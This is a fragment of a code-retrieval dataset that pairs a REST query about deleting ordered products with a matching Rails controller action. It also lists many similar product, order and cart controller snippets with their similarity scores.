"def order_params\n params.require(:order).permit(:order_status_id, :pickup_date, :order_date, :cancel_reason_id, :user_id, order_products_attributes: [:id, :order_id, :product_id, :quantity])\n end",
"def create\n if current_user\n @order = current_user.orders.create(product_id: params[:product_id])\n redirect_to orders_path\n end\n end",
"def create\n newProduct = Product.new(products_params)\n if newProduct.save\n msg = { status: 201 , product: newProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end",
"def create\n ActiveRecord::Base.transaction do\n begin\n @api_v1_product = Product.create!(api_v1_product_params)\n\n json_response @api_v1_product, :created\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n raise ActiveRecord::Rollback\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if params[:product][:store_ids].present?\n params[:product][:store_ids].each do |store_id|\n unless store_id.empty?\n store = Store.find(store_id)\n @product.stores << store\n end\n end\n end\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n if @product.save\n render json: {id: @product.id}\n else\n render json: {msg: @product.errors.full_messages.first}, status: :unprocessable_entity\n end\n end",
"def create\n @order = Order.new(order_params)\n @order.add_line_items_from_cart(@cart)\n\n respond_to do |format|\n if @order.save\n\n @wine_title = \"[\"\n @cart.line_items.each do |line_item|\n @wine_title += line_item.quantity.to_s\n @wine_title += ' items: '\n @wine_title += line_item.product.title\n @wine_title += ';'\n end\n @wine_title += \"]\"\n\n data = {'name' => @order.name, 'address' => @order.address,\n 'email' => @order.email, 'phone' => @order.phone, \n 'wine' => @wine_title}\n\n url = URI.parse('http://localhost:8080/order')\n req = Net::HTTP::Post.new(url,nitheader = {'Content-Type' =>'application/js on'})\n req.set_form_data(data)\n req.body = data.to_json\n begin\n res = Net::HTTP.start(url.host, url.port) {|http|\n http.request(req)\n }\n rescue\n end\n\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n OrderNotifier.received(@order).deliver\n format.html { redirect_to store_url}\n format.json { render action: 'show', status: :created,\n location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = current_order(create_order_if_necessary: true)\n authorize! :update, @order, cookies.signed[:guest_token]\n product = ::Spree::Product.find(params[:product_id])\n option_values_ids = params[:options].present? ? params[:options].values : []\n option_values = ::Spree::OptionValue.where(id: option_values_ids)\n variant = product.try_variant option_values\n quantity = params[:quantity].present? ? params[:quantity].to_i : 1\n\n # 2,147,483,647 is crazy. See issue https://github.com/spree/spree/issues/2695.\n if !quantity.between?(1, 2_147_483_647)\n @order.errors.add(:base, t('spree.please_enter_reasonable_quantity'))\n else\n begin\n @line_item = @order.contents.add(variant, quantity)\n rescue ActiveRecord::RecordInvalid => error\n @order.errors.add(:base, error.record.errors.full_messages.join(\", \"))\n end\n end\n\n respond_with(@order) do |format|\n format.html do\n if @order.errors.any?\n flash[:error] = @order.errors.full_messages.join(\", \")\n redirect_back_or_default(root_path)\n return\n else\n redirect_to edit_cart_path\n end\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @cart.line_items.each do |i|\n qty = i.quantity\n product = Product.find(i.product_id)\n product.quantity_update(product, qty)\n end\n @order.add_line_items_from_cart(@cart)\n if user_signed_in?\n @order.user_id = current_user.id\n end\n \n respond_to do |format|\n \n # Dynamically update Products quantity (same as in ProdController)\n # dynamically_update_products\n \n if @order.save && @order.pay_type == \"Karta kredytowa\"\n format.html { redirect_to new_charge_url }\n format.json { render :show, status: :created, location: @order }\n elsif @order.save && @order.pay_type != \"Karta kredytowa\"\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n OrderMailer.received(@order).deliver_later\n format.html { redirect_to store_index_url,\n notice: 'Zamówienie zostało złożone.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.line_items.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @cart = Cart.find(@order.cart_id)\n\n # @store_products = StoreProduct.all\n # @products = Product.all\n #\n # @store_product = StoreProduct.find(params[:store_product_id])\n # @product = Product.find(params[:product_id])\n #\n # @order.product_id = @product.id\n # @order.store_product_id = @store_product.id\n\n @order.store_product_id = @cart.line_items { |item| item.store_product.store_product_id}\n\n # respond_to do |format|\n if @order.save\n\n session[:cart_id] = nil\n\n # @cart.destroy\n # format.html { redirect_to @order, notice: 'Order was successfully created.' }\n # format.json { render :show, status: :created, location: @order }\n redirect_to '/'\n flash[:notice] = \"Order was successfully created.\"\n\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n # end\n end\n end",
"def create\n params[:product][:tag_ids] = Array.new\n params[:tags].split(\",\").each do |tag|\n tag_detail = Tag.where(\"title = ?\",tag).first\n if tag_detail.present?\n params[:product][:tag_ids] << tag_detail.id\n else\n new_tag = Tag.new(:title=>tag)\n new_tag.save\n params[:product][:tag_ids] << new_tag.id\n end\n end\n \n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_product_to_order\n prod_id = params[:id].to_i\n qty_to_order = params[:qty].to_i\n\n add_or_update_product_qty(prod_id, qty_to_order)\n\n flash[:notice] = 'Product added to cart'\n redirect_back(fallback_location: root_path)\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def submit_menu\n @order = Order.create! user_id: current_user.id, restaurant_id: @restaurant.id\n\n params[:order].each do |order_item|\n MenuItemOrder.create(order_id: @order.id, menu_item_id: params[:order][order_item][:item], quantity: params[:order][order_item][:quantity])\n end\n respond_to do |format|\n format.html { redirect_to new_order_path(@restaurant), notice: 'Menu items were successfully submitted.' }\n format.json { render :new, status: :created, location: @order }\n end\n end",
"def params_shopping_cart_products\n params.permit(:product_quantity, :product_id, :shopping_cart_id)\n end",
"def create\n subtotal = Product.find_by(id: params[:product_id]).price\n tax = subtotal * 0.09\n total = subtotal + tax\n\n order = Order.new( \n user_id: current_user.id,\n product_id: params[:product_id],\n quantity: params[:quantity],\n subtotal: subtotal,\n tax: tax,\n total: total \n )\n if order.save\n render json: {message: 'Order created successfully'}, status: :created\n else\n render json: {errors: order.errors.full_messages}, status: :bad_request\n end\n end",
"def addProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.new(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id], picture_list: '[]')\n status = p.save\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def processItemsOrder\n @id = params[:itemID]\n @description = params[:description]\n @price = params[:price]\n @award = params[:award]\n @item = Item.find_by(id: @id)\n \n if @item.save\n head 204\n else\n # test\n render json: @item.to_json, status: 400\n # originally\n #head 400\n end\n end",
"def create\n @ordered_item = OrderedItem.new(params[:ordered_item])\n\n respond_to do |format|\n if @ordered_item.save\n format.html { redirect_to(@ordered_item, :notice => 'Ordered item was successfully created.') }\n format.xml { render :xml => @ordered_item, :status => :created, :location => @ordered_item }\n format.json { render :json => @ordered_item, :status => :created, :location => @ordered_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ordered_item.errors, :status => :unprocessable_entity }\n format.json { render :json => @ordered_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @shopping_list = ShoppingList.create(product_id: params[:product_id],\n user_id: current_user.id)\n\n respond_to do |format|\n if @shopping_list.save\n format.json { render json: {statue: 'Add successfully.'}}\n else\n format.json { render json: {statue: 'Something Wrong.'}}\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n #permitted_columns = params[:products_purposes_relations].permit(:product_id, :purpose_id, :stars)\n # @products_purposes_relation = @product.products_purposes_relations.create(permitted_columns)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t('create_success') }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n return unless product_params\n render json: Product.create_product(\n @product_params,\n category_list,\n @current_user.id\n ).simple_info, status: :created\n rescue => e\n render json: { error: e }, status: :bad_request\n end",
"def create_product(add_params = nil)\n params = {\n uid: uid,\n }\n api_call('/stores/:uid/products(.:format)',:post,params,add_params)\n end",
"def create\n @order = Order.new(items: items, promocode: promocode_params[:promocode])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to new_order_path, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def product_skus_json\n @product_skus_json = []\n @order = Spree::Order.find_by_id(params[:order_id])\n @products = @order.seller.products.where(:kit_id=>nil) if @order.present?\n @products.each do |product|\n product_variants = []\n product_variants << (product.variants.present? ? product.variants : product.master)\n product_variants = product_variants.flatten\n product_variants.each do |pv|\n #name = (pv.option_values.present? ? (product.name+\" -> \"+pv.option_values.first.presentation+\" (\"+pv.sku.to_s+\")\") : (product.name+\" (\"+pv.sku.to_s+\")\"))\n if !pv.parent_id.present?\n name = pv.sku.to_s\n @product_skus_json << {'label' => name, 'id' => pv.id} if name.downcase.include? params[:term].downcase\n end\n end\n end if @products.present?\n render :json=>@product_skus_json.to_json\n end",
"def set_product_in_order\n @product_in_order = ProductInOrder.find(params[:id])\n end",
"def orderproduct_params\n params.require(:orderproduct).permit(:quantity, :cost, :order_id, :product_id)\n end",
"def order_params\n params.require(:order).permit(:product_id, :user_id, :total)\n end",
"def show\n @ordered_product = OrderedProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ordered_product }\n end\n end",
"def ordered_item_params\n params.require(:ordered_item).permit(:order_id, :item_id, :ordered_item[\"quantity_new\"])\n end",
"def omega\n products = GetProducts.new.send_request\n SaveProducts.new(products[:productRecords]).save\n end",
"def fill_in_products\n products = []\n @data.products.all_products.each_with_index do |p, i|\n prod = {}\n prod['index'] = i\n prod['qty'] = @data.product_qty[p.prd_id]\n prod['desc'] = p.prd_long_desc\n prod['price'] = \"$\" + p.fmt_total_price\n prod['prd_id'] = p.prd_id\n products << prod\n end\n \n products\n end",
"def test_buying_a_product\n #START:setup\n LineItem.delete_all\n Order.delete_all\n ruby_book = products(:ruby_book)\n #END:setup\n\n #START:step1\n get \"/store/index\"\n assert_response :success\n assert_template \"index\"\n #END:step1\n \n #START:step2\n xml_http_request \"/store/add_to_cart\", :id => ruby_book.id\n assert_response :success \n \n cart = session[:cart]\n assert_equal 1, cart.items.size\n assert_equal ruby_book, cart.items[0].product\n #END:step2\n \n #START:step3\n post \"/store/checkout\"\n assert_response :success\n assert_template \"checkout\"\n #END:step3\n \n #START:step4\n post_via_redirect \"/store/save_order\",\n :order => { :name => \"Dave Thomas\",\n :address => \"123 The Street\",\n :email => \"dave@pragprog.com\",\n :pay_type => \"check\" }\n assert_response :success\n assert_template \"index\"\n assert_equal 0, session[:cart].items.size\n #END:step4\n \n #START:step5\n orders = Order.find(:all)\n assert_equal 1, orders.size\n order = orders[0]\n \n assert_equal \"Dave Thomas\", order.name\n assert_equal \"123 The Street\", order.address\n assert_equal \"dave@pragprog.com\", order.email\n assert_equal \"check\", order.pay_type\n \n assert_equal 1, order.line_items.size\n line_item = order.line_items[0]\n assert_equal ruby_book, line_item.product\n #END:step5\n end",
"def test_create_order\n setup_new_order()\n @o.order_line_items << OrderLineItem.for_product(items(:small_stuff))\n assert @o.save\n end",
"def create\n @products_purposes_relation = ProductsPurposesRelation.new(products_purposes_relation_params)\n\n respond_to do |format|\n if @products_purposes_relation.save\n format.html { redirect_to @products_purposes_relation, notice: t('create_success') }\n format.json { render :show, status: :created, location: @products_purposes_relation }\n else\n format.html { render :new }\n format.json { render json: @products_purposes_relation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_product\n\t\tproduct_attributes = @view.creando_producto\n\t\t@store.add_product(product_attributes[0], product_attributes[1])\n\t\toption = @view.second_view(@current_user, @current_user.actions)\n\t\tlist(option)\n\tend",
"def create\n if current_user\n @carted_products = CartedProduct.where(status: \"Carted\", user_id: current_user.id)\n\n @subtotal = 0\n @tax = 0\n @total = 0\n @carted_products.each do |carted_product|\n @subtotal += carted_product.product.price * carted_product.quantity\n end\n \n @tax = @subtotal * SALES_TAX\n @total = @subtotal + @tax\n\n # quantity = carted_products.quantity\n # price = Product.find_by(id: params[:product_id]).price\n # subtotal = quantity * price\n # tax = subtotal * 0.09\n # total = subtotal + tax\n\n order = Order.create(user_id: current_user.id, subtotal: @subtotal, tax: @tax, total_price: @total) \n\n @carted_products.each do |carted_product|\n carted_product.update(status: \"Purchased\", order_id: order.id)\n end\n\n end\n redirect_to \"/orders/#{order.id}\"\n end",
"def sort\n params[:product].each_with_index do |id, index|\n Product.update_all({position: index+1}, {id: id})\n end\n render nothing: true\n end",
"def product_order_params\n params.require(:product_order).permit(:code, :order_state_id, :member_id, :state)\n end",
"def create\n @order = Order.new(params[:order])\n @addresses = Address.where(:user_id => current_user.id)\n @order.status = 0;\n @order.delivery_cost = @order.delivery.cost\n @order.user = current_user\n @order_positions = current_user.basket.order_positions\n @order.order_positions = @order_positions\n @order.value = sum_price(@order_positions)\n\n respond_to do |format|\n if @order.save\n @order_positions.each do |op|\n op.container = @order\n op.save\n p = op.product\n p.availability -= op.amount\n p.save\n end\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n if @order.save\n render json: { status: 'SUCCESS', data: @order }\n else\n render json: { status: 'ERROR', data: @order.errors }\n end\n end",
"def get_products_by_ids\n products_ids = params[:products_ids]\n products = Array.new\n JSON.parse(products_ids).each do |product_id|\n product = Product.find_by_id(product_id)\n if product\n products.push(product)\n end\n end\n render json: {products: serialized_products(products)}, status: :ok\n end"
] |
[
"0.71917796",
"0.68572104",
"0.6814531",
"0.6812163",
"0.66617906",
"0.66579384",
"0.6610146",
"0.6609833",
"0.65833217",
"0.65512246",
"0.65207",
"0.64931464",
"0.64602286",
"0.6357968",
"0.6339317",
"0.6295839",
"0.627902",
"0.62328935",
"0.62245107",
"0.62226135",
"0.61819583",
"0.6181051",
"0.61798495",
"0.61694634",
"0.61639494",
"0.6146421",
"0.61264086",
"0.61183864",
"0.61012006",
"0.6100164",
"0.6099718",
"0.6089605",
"0.60797626",
"0.60775834",
"0.6068858",
"0.6068697",
"0.60680705",
"0.6065062",
"0.6054897",
"0.60524017",
"0.6040109",
"0.60350513",
"0.6022816",
"0.6016731",
"0.59745955",
"0.5973302",
"0.5973056",
"0.59701604",
"0.5969953",
"0.5962202",
"0.5958756",
"0.5952649",
"0.59433",
"0.5934279",
"0.593251",
"0.59134734",
"0.5899416",
"0.58905804",
"0.588474",
"0.5884601",
"0.58745354",
"0.58544177",
"0.5846374",
"0.5845416",
"0.5845361",
"0.58426213",
"0.5842364",
"0.58402807",
"0.5839303",
"0.58358365",
"0.58332926",
"0.5824817",
"0.5824777",
"0.582321",
"0.58146393",
"0.5814213",
"0.5812932",
"0.58064634",
"0.580322",
"0.57963294",
"0.5783433",
"0.5781657",
"0.57762396",
"0.576911",
"0.5765638",
"0.57632214",
"0.5761904",
"0.57556814",
"0.5751145",
"0.5748881",
"0.5738565",
"0.5734433",
"0.57326204",
"0.57322747",
"0.5730722",
"0.5730185",
"0.5726969",
"0.571698",
"0.5716334",
"0.5715804"
] |
0.6360396
|
13
|
DELETE /ordered_products/1 DELETE /ordered_products/1.json
|
def destroy
ordered_product = OrderedProduct.find(params[:id])
ordered_product.destroy
respond_to do |format|
format.html { redirect_to ordered_products_url, notice: 'Ordered product was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end",
"def delete_product(name)\n delete(\"/apiproducts/#{name}\")\n end",
"def destroy\n product = Product.find(params[:id])\n product.destroy\n\n render json: { deleted: params[:id] }\n end",
"def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end",
"def destroy\n @product.destroy\n render json: {}\n end",
"def destroy\n @product.destroy\n\n render json: @product, status: :ok#, location: @collection\n end",
"def destroy\n p @product.destroy!\n render json: { result: 'deleted' }, status: :ok\n end",
"def destroy\n @order_item.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def destroy\n @ordereditem.destroy\n respond_to do |format|\n format.html { redirect_to ordereditems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n unread\n\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n product = Product.find(params[:id])\n product.destroy\n render json: {id: product.id}\n end",
"def deleteProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.destroy\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.delete!\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n @api_v1_product.destroy!\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end",
"def destroy\n @order_product.destroy\n respond_to do |format|\n format.html { redirect_to order_path(@order_product.order), notice: 'product removed from order.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @magento_product = MagentoProduct.find(params[:id])\n @magento_product.destroy\n\n respond_to do |format|\n format.html { redirect_to magento_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_in_order.destroy\n respond_to do |format|\n format.html { redirect_to product_in_orders_url, notice: 'Product in order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to root_url(:item => 3), notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ordered.destroy\n respond_to do |format|\n format.html { redirect_to ordereds_url, notice: 'Ordered was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n Inventory.where(product: @product).delete_all\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_path, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = @person.products.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.json { render :json=>true }\n end\n end",
"def destroy\n @shopifyproduct = Shopifyproduct.find(params[:id])\n @shopifyproduct.destroy\n\n respond_to do |format|\n format.html { redirect_to shopifyproducts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @productonegocio = Productonegocio.find(params[:id])\n @productonegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to productonegocios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_product.destroy\n respond_to do |format|\n format.html { redirect_to os_products_url, notice: 'Os product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ordered_item.destroy\n respond_to do |format|\n format.html { redirect_to ordered_items_url, notice: 'Ordered item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:order_id])\n @order_item = @order.order_items.find(params[:id])\n @order_item.destroy\n\n respond_to do |format|\n format.html { redirect_to order_order_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n render json: {is_success: true, error_code: 200, message: \"Deleted Successfully\", result: @product}, status: 200\n end",
"def destroy \n @product = current_user.user_info.products.find(params[:id])\n Shopify.delete @product\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.deleted = true\n @product.update_attributes(:deleted => true) \n # @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n\n head :no_content\n end",
"def remove_from_cart\n render json: CartProduct.find(params[:id]).destroy\n end",
"def destroy\n @record = Product.find(params[:id])\n @record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_item = ProductItem.find(params[:id])\n @product_item.destroy\n\n respond_to do |format|\n format.html { redirect_to product_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product_order = ProductOrder.find(params[:id])\n @product_order.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_orders_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\nend",
"def destroy\n li = @cart.line_items.find_by_id!(params[:id])\n li.destroy\n render json: {}, status: :ok\n end",
"def destroy\n @ordered_product = OrderedProduct.find(params[:id])\n product = @ordered_product.product\n order_id = @ordered_product.order_id\n\n @ordered_product.destroy\n\n respond_to do |format|\n if order_id.blank?\n format.html { redirect_to build_admin_orders_path }\n else\n change_order_total\n format.html { redirect_to admin_order_edit_detail_path(order_id) }\n end\n end\n end",
"def destroy\n @productorder.destroy\n respond_to do |format|\n format.html { redirect_to productorders_url, notice: 'Productorder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('destroy_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts(\"you are in destroy \")\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
